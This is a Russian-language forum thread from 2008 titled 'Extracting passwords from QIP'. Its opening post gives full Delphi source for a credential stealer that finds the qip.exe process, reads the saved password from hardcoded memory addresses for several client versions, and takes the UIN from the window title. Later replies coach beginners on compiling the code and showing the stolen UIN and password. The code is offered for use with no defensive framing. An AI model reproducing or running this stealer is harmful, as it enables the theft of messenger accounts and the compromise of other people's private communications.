Вытаскиваем пароли из QIP
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Вытаскиваем пароли из QIP - 2008-02-26 18:32:32.023333
|
|
|
FLIER
Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
|
Вот нашёл такой исходник….
Program NewLife;
Uses Windows, TLHelp32, SysUtils;
type
TQVer=(qipNULL,
qip7981,qip7990,qip7995,qip7997,qip7998,
qip8000,qip8010,qip8020);{Идентификаторы версий}
const
QVersions: array [TQVer] of cardinal = //адреса где каждая версия хранит свой пароль
(
$00000000, // QIP other version
$0068128C, // 7981
$006862B4, // 7990
$0068B2D0, // 7995
$006962EC, // 7997
$0069574C, // 7998
$006972EC, // 8000
$0069F580, // 8010
$0069F57C // 8020
);
//для квипа 8030 подходит адрес от 20-го
function get_info(pid: dword; version: TQVer; var p: string): boolean;
// функция получения пароля (пароль записывается в параметр P)
var c: array [0..9] of char;
hp,pt,t: dword;
begin
Result:=false;
if version=qipNULL then exit;
fillchar(c,10,0);
// Открываем процесс для получения инфы
hp:=OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, false, pid);
if hp = 0 then exit;
// Получаем адрес указателя на пароль
ReadProcessMemory(hp, Pointer(QVersions[version]), @pt, 4, t);
// Получаем пароль
ReadProcessMemory(hp, pointer(pt), @c, 10, t);
CloseHandle(hp);
strlcopy(c,c,8); // Пароль макс 8 символов
{Для уменьшения размера программы можно достать код StrLCopy из
SysUtils и убрать SysUtils из uses}
p:=c;
Result:=true;
end;
var uin:array[0..127] of char;
uins, ps:string;
SH:Thandle;
ppe:TProcessEntry32;
begin
SH:=CreateToolHelp32SnapShot(Th32cs_SnapAll,0); //получаем снимок системы,
// параметр в скобках, означает полную информацию
PPE.dwSize:=sizeOf(ProcessEntry32); //перед использованием структуры
//нужно в поле записать ее размер.
Process32First(SH,PPE); //получаем первый процесс
Repeat
if CharLower(PPE.szExeFile)='qip.exe' then
begin
get_info(ppe.th32ProcessID, qip8020, ps);
{ GetModuleFileName(hProcID, path, MAX_PATH);
ShowMessage(path);
ShowMessage(p); }
// читаем уин из заголовка окна квипа
GetWindowText(FindwinDow('TMainForm', nil), uin, 128);
// может работать некорректно, если открыто несколько копий квипа
uins:=copy(uin,9, length(uin));
// Writeln(uins+';'+ps); // можно вывести на экран
end;
Until not Process32Next(SH,PPE);//получаем в цикле остальные процессы
CloseHandle(SH); //освобождаем ресурс - снимок состояния системы.
// всё!!! переменныя uins содержит UIN, а ps содержит пароль
// что делать с ними дальше решайте сами
//readln;
end.
Сам исходник здесь: http://slil.ru/25518092 Для тех кто не заметил: код на DELPHI Пользуйтесь на здоровье
|
|
|
RE: Вытаскиваем пароли из QIP - 2008-02-26 18:56:27.440000
|
|
|
Tsipatila
Сообщений: 2
Оценки: 0
Присоединился: 2008-02-26 16:44:47.323333
|
этот исходник где порписывается, или на чем создается?
|
|
|
RE: Вытаскиваем пароли из QIP - 2008-02-26 19:33:11.750000
|
|
|
FLIER
Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
|
Среда разработки Delphi 7
|
|
|
RE: Вытаскиваем пароли из QIP - 2008-02-26 20:52:56.810000
|
|
|
klose
Сообщений: 85
Оценки: 0
Присоединился: 2008-02-25 23:54:43.340000
|
а как с ним пользоваться?
|
|
|
RE: Вытаскиваем пароли из QIP - 2008-02-26 20:58:55.410000
|
|
|
Tsipatila
Сообщений: 2
Оценки: 0
Присоединился: 2008-02-26 16:44:47.323333
|
а дельфинчике, тогды спс, попробуем…
|
|
|
RE: Вытаскиваем пароли из QIP - 2008-02-26 21:15:49.523333
|
|
|
DEH
Сообщений: 195
Оценки: 0
Присоединился: 2007-01-13 22:27:31.370000
|
такое впечатление, что для тебя эта инвормация важна… клос - тебе это надо? если ты не знаешь как пользоваться, хоть что делать с ним шаришЬ? всм зачем? ) по сути - качаешь делфи (в сети искал блин кучу времени, хотел торенты..а там скорость ппц) создаешь проект. копируешь весь код. компилируешь (ф9). наслаждаешься))) только код почитай сначала. я хз что он делает, а то потом с клубов писать будешь что я те машину сломал)))
|
|
|
RE: Вытаскиваем пароли из QIP - 2008-02-27 12:33:10.850000
|
|
|
FLIER
Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
|
quote:
ORIGINAL: klose а как с ним пользоваться? Добавь к строке "Program NewLife; Uses Windows, TLHelp32, SysUtils;" модуль "dialogs" должно получиться "Program NewLife; Uses Windows, TLHelp32, SysUtils, dialogs;" потом найди строку "// что делать с ними дальше решайте сами" и напиши там " showmessage(uin); showmessage(ps);" жми F9 и радуйся
|
|
|
RE: Вытаскиваем пароли из QIP - 2008-02-28 07:53:03.900000
|
|
|
DeaDevil
Сообщений: 514
Оценки: 0
Присоединился: 2008-02-09 08:31:06.386666
|
klose, даже если ты скачаешь, откроешь и запустишь исходник, ты всеравно не узнаешь, что с этим делать, учи Delphi и будет тебя счастье! =)
|
|
|
RE: Вытаскиваем пароли из QIP - 2008-02-28 18:14:46.156666
|
|
|
Sairuss
Сообщений: 29
Оценки: 0
Присоединился: 2008-02-06 13:11:30.900000
|
ребята знаю делфи но у меня ничего не получается((((
|
|
|
RE: Вытаскиваем пароли из QIP - 2008-02-28 18:18:11.350000
|
|
|
FLIER
Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
|
quote:
ORIGINAL: Sairuss ребята знаю делфи но у меня ничего не получается(((( Давай свой код для вывода результата.
|
|
|
RE: Вытаскиваем пароли из QIP - 2008-03-15 02:57:17.716666
|
|
|
энк
Сообщений: 13
Оценки: 0
Присоединился: 2008-02-18 16:40:00.520000
|
а так нипонил где это все прописовать в блокноте штоли и с каким расширением его сохранять:)
|
|
|
RE: Вытаскиваем пароли из QIP - 2008-03-15 12:30:55.520000
|
|
|
FLIER
Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
|
quote:
ORIGINAL: энк а так нипонил где это все прописовать в блокноте штоли и с каким расширением его сохранять:) завязывайя с *.bat и *.vbs и прочим…учи Delphi или C++…а лучше асму Это код для Delphi
|
|
|
RE: Вытаскиваем пароли из QIP - 2008-03-18 18:22:29.220000
|
|
|
HUNTERPRO
Сообщений: 134
Оценки: 0
Присоединился: 2008-02-15 21:14:01.596666
|
вот же народ жжет! :D в 1ом посте ясно написанно Для тех кто не заметил: код на DELPHI
|
|
|
RE: Вытаскиваем пароли из QIP - 2008-03-18 18:23:01.146666
|
|
|
HUNTERPRO
Сообщений: 134
Оценки: 0
Присоединился: 2008-02-15 21:14:01.596666
|
модератору +1
|
|
|
|
|